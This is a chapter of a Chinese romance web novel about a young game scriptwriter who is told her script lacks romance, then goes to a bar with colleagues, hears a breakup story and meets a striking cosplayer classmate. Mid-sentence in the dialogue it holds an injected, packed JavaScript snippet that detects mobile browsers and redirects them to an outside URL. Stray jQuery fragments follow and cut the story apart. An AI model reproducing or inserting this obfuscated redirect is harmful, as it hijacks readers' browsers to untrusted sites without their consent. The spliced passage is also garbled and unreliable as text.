“不是两个模型摆在一起，做一些亲密的动作就有恋爱感的。”缪凛看着屏幕里的初期demo，怎么看怎么不舒服，“眼神、动作、语气……”


    “这还没上微表情系统嘛。”周翩说，“耿神还在研发。”


    “那我看看你剧本。”缪凛只好退而求其次。


    周翩还以为以缪凛的能力，她能看着剧本脑补。但她在手机上翻了几页，摇了摇头。


    “剧本也不行吗？”周翩虚心请教。


    “不行。”缪凛评起本子来扎心地冷酷，“具体需要的微表情，你倒是写了很多词，‘诱惑’‘沉-沦’‘欲语还休’‘喜上眉梢’……但这些微表情具体是什么动作？眼角弧度？”


    “具体的动作和表情，我打算和美术同学一起分析下昆曲，以及扒一下经典电影的镜头。”周翩低头，“还没……”


    “光看电影是不够的，你的试听语言已经拉到怼脸拍了。”缪凛捧着她的脸，使劲凑近，“不是第三视角，而是第一视角你懂吗？”


    周翩的眼睛心虚地往隔壁耿星河的座位上一瞥：“呃……”


    “哎哟，我要不是手上在写另一篇，我都想给你代笔。”缪凛敲敲她的脑壳，“化学反应不够，光影、颜色、场景都不够暧昧。”


    “嗯……我找美术同学一起调调。”


    这哪里是美术能帮忙的事情。缪凛翻个白眼，心生一计：“诶，你把你恋爱里记忆最深刻的场景，跟我描述一下？”


    最深刻的场景……暗淡天光里雨水滴下他的喉结，山顶日出如血刻出他的剪影，炎夏午后他递给哭过头的她一瓶冰红茶……


    周翩晃晃头，小小声说：“没有诶，我是……母单。”


    “母单？”


    缪凛眼睛都瞪圆了，周翩甚至来不及捂住她的嘴巴，办公室里就爆出一声：“25岁，前乙游制作人，母单？”


    “……”周翩强行挽尊：“不是说谈过恋爱的人，都会对爱情祛魅吗！我这才是写小言圣体！”


    “乖崽，你当自己是迎风落泪18岁？也不是要你做海后，你好歹经历点心动时刻啊。”缪凛看她的眼光瞬间变成了慈祥。


    于是周翩接到了任务：“光看电影是不够的，试着去体会一下撩-人和被撩呢？”


    然而，此时她和耿星河已经好几天没说话了。


    倒也不至于让他帮忙——他的话，她可太容易带入真情实感了。


    工作而已，没必要动真感情。


    “哇！周翩，今天穿得好好看啊。”梁海潮也端着一盒盒饭凑过来，“你那个功能的表有个报错，你打开一下我教你怎么改。”


    “嗯，马上。”


    测试怎么这么敬业，午饭时间来聊需求？


    周翩把手上两盒盒饭拆开，其中一盒放在耿星河桌上，回头招呼梁海潮。


    “表这一行要这么填……”梁海潮教了一会，两人嘟嘟囔囔敲了半天键盘，bug终于修复。


    “哦，你看，说得饭都凉了。”梁海潮笑得灿烂，顺手拿起周翩的盒饭，“我去热热，我们去会议室吃？”


    “呃——”几句话的功夫，饭哪里凉了？


    不过周翩顺口要答应。


    旁边的耿星河突然站了起身：“周翩，你等等。”


    “有什么事？”耿神召唤，周翩明面上不能拒绝。


    “有什么事待会说呗，先吃饭？”梁海潮举着手里的饭盒。


    “你那边bug已经解决了。”耿星河一点头。


    言外之意是，现在周翩要来解决他这边的事情了。


    “好吧。”周翩从梁海潮手里拿回自己的盒饭，用嘴型对他说了句“耿扒皮”。


    梁海潮忍俊不禁。接触到耿星河越发凌厉的眼神，拿着自己的饭盒光速跑路。


    用眼神逼走他，耿星河转向周翩，小声问：“你今天下班后，有事吗？”


    “要加班？”周翩坐回自己工位，继续在键盘上敲敲打打。


    “不是……”


    “那太好了。”她利落地摁下enter键，“我有约。”


    他才发现，她今天没穿“懒人上班装”，而是穿了条简约又精致的白色蕾-丝挂脖裙，露出光洁的肩膀。


    耳畔亮闪闪一颗珍珠晃荡，像是听到这句话猝不及防的他。


    “……很别致。”他飘出一句，接到她疑问的眼神，才补一句，“裙子。”


    “直男也有点眼光？是Snide的蕾-丝裙。”难得他夸人，周翩即使和他闹别扭，也不由牵起了一点笑，“缪凛大大送我的，今天穿来给她看看。”


    她的理由正当，他一时间只能点点头：“那谢谢人家了吗？……缪凛毕竟是我们的要维系的合作伙伴。”


    “回了一个竹节刺绣的手提包。”周翩挥挥手，“女生之间送点礼物，你别问了。”


    他只好坐下。


    下班时间，同样穿得花蝴蝶一样的柳明过来，挽起周翩就走。耿星河起身倒茶，看两人直奔门口的黎蕙身边。


    黎蕙今天是烟熏紫丝绸小吊带，搭竹叶外套和飒爽西装裤，伶俐中有种说不出的我见犹怜。她瞟了他一眼，红唇轻勾。


    “邀请你家耿神一起去？”她俯身，笑着凑近周翩耳边。


    周翩飞快地回头，用余光瞟了一眼他：“又乱说。”


    “看着你们着急——”


    周翩忙把黎蕙推了出去。


    盛装打扮的三人走在路上，就像盛开的花招摇过市，引来路人频频侧目。


    黎蕙惆怅：“你俩真不能去Emo和Kiss？”


    柳明这种大E的都摇头：“去清吧嘛，Kiss什么的一看就很……”


    黎蕙嘟囔：“失恋局，哪能没有点速食的荷尔-蒙——”


    “我们第一次去酒吧诶，循序渐进，循序渐进。”这局周翩站柳明。


    “其实清吧呢，搭讪更要技巧。”黎蕙一转眼珠，“我们三个单身女生出门，你俩不会是纯喝酒的吧？”


    周翩讷讷：“我们……看你就好了。”


    黎蕙捏捏她的脸：“不过你这么好看，应该会有人主动找你啦。”


    今天是羊城的灯光节，天还没黑，华城汇里已经多了许多人。还好黎蕙足够熟悉，带两人抄小路进了酒吧。


    公司在cbd的另一好处：楼下餐馆、酒吧云集，随便拿出手就是羊城TOP。


    黎蕙终于还是放过两人，带她俩来了家清吧。一踏入门帘，光线瞬间暗了三个度。


    酒吧以木制简约装饰为主，当中有巨大的一棵树。树影与人影交织，光影明暗交错，轻声的爵士乐神秘又慵懒。


    “老样子，要杯《心无禁-忌》。”黎蕙拉两人在吧台边卡座坐下，“给她们看看酒单。”


    酒单是复古的质地，柳明以pm的效率选了一杯：“《花花世界》。”


    “这杯是金酒拼接骨木花酒，有百香果、白色花香、酸葡萄的气息。”酒吧小哥见周翩还没选好，先给柳明介绍，“入口顺滑的小甜水，但酒精度不算低，可以吗？”


    “可以的。”柳明点头。


    “我嘛……”周翩不知道选什么，看小哥说得头头是道，干脆问，“有什么推荐吗？”


    “呃，我们最近在试秋季新酒单。”小哥略一迟疑，“要不要试试《相遇的意义》？”


    周翩只觉得这个名字直戳她心脏，对于小哥后面的介绍一概没听，就点了头。


    “美女哦，直接给你推隐藏菜单。”小哥走了，黎蕙微微对她一笑，“所以你和耿神到底怎么样了嘛。”


    柳明也托腮，一脸想听八卦的样子。


    “没什么，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617741|154191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对我应该没什么感觉。”周翩忙澄清，“他只是享受我给他送饭，没别的啦。”


    “那我们去团建那天，下半夜我醒来，你都已经不在了？”黎蕙眨眨眼。


    周翩差点忘了，这事在黎蕙视角看来多惊悚。难怪黎蕙最近看她的眼神都不对了。


    但她坐耿星河的车回了市里，找石头商量……这事也不能跟黎蕙直说啊。


    “我拉她聊八卦去了。”同样知情的柳明接过了话茬，面不改色地撒谎，“你和路景明呢，后来怎么样了？”


    “没怎么样，他来找我……”黎蕙叹气。


    和路景明在一起三年，黎蕙和他一直都是分开住的。


    “距离产生美。”他口口声声，“余生一起住的时间还长，何必急于一时？”


    但两人相处日久，彼此都知道对方的住处，也都有对方的门锁密码。


    黎蕙爆料完回家，第一时间就把门锁换了。


    路景明进不了门，就敲门，哀哀地唤她：“阿黎……”


    门打开，却是个高大魁梧的年轻男生：“有什么事？”


    路景明后退一步，确认了门牌。


    黎蕙穿着松垮垮的丝绸睡袍，行走间露出一截白生生的腿，倚在男生身上，重复了一遍：“有什么事？”


    “他当下就疯了。”昏暗酒吧里，黎蕙嗤笑一声，啜饮了一口酒，“嗯……这个味道真的好，你们试试不？”


    调酒小哥见她们桌两人第一次来，多上了几根吸管。


    周翩拿吸管喝了一口《心无禁-忌》，差点被呛到。胡椒和紫苏混成侵入性十足的辛辣香味，入口像酸甜爆炸糖，后调则是威士忌醇香中，浓烈涩口的苦。


    苦得像得不到的爱，在深夜叫嚣。


    柳明锐评：“这么激烈的酒，也就你能喝。”


    “所以那男生是你gay蜜？”周翩想继续听故事。


    “当然，我可以这么说。”黎蕙托腮，夸张地一笑，“哈哈，但其实是我那天在Touch捞的男大。”


    她的黑色指甲尖尖，落在雪白面孔上，水钻闪烁，如一颗隐而未落的泪。


    周翩在桌子底下捏了捏柳明的手。两个人一时都不知道怎么安慰她。


    “所以说，还是要去high吧找乐子更快。”黎蕙熟练地拿出烟盒，手上一顿，兴味十足地往门口一扬眉，“不过这家质量也还行。喏，来人了。”


    一下进来了五个男生。


    第一个高高瘦瘦，脸部轮廓英气逼人、棱角分明。第二个卷毛，单眼皮，颇有北方帅哥的韵味。第三个男生穿着黑背心，挂着金色项链，痞帅的味道。第四个文艺范十足，衣服看上去质感满满。


    的确挺帅的。周翩心里暗自评价。


    但第五个人一踏入，前四个人都黯然失色。


    他银发凌乱，落拓的灰裤白T，斜挎包松松垮垮，皮肤白得让人怀疑是不是气血不足。更何况，他脸上还带着世间万物尝遍，看不上任何事物的轻微倦意。


    可他的脸帅到不现实，仿若漫画里走出的撕漫脸：轮廓流畅、鼻梁高挺，一双桃花眼，看狗都深情。


    一眼难忘，帅得让精心打扮之人都相形见绌。


    柳明惊叹：“这是coser吧？”


    周翩狐疑地看了一眼，回头打开了绿泡泡软件。


    “是我，认不出来？”


    慵懒的声音、冷冽茶香和肩膀上的拍打一起到位。


    “没想到乖乖女也会来酒吧。”叶林间轻笑，和其他两位点头，自我介绍道，“叶林间。”


    “我先和朋友聊去哦，待会一起玩。”他比个手势。笑意浅浅。


    他一走，黎蕙和柳明马上围了上来：“你哪认识这么帅的帅哥？”


    “大学同学。”周翩耸耸肩，“人家真是coser啦。”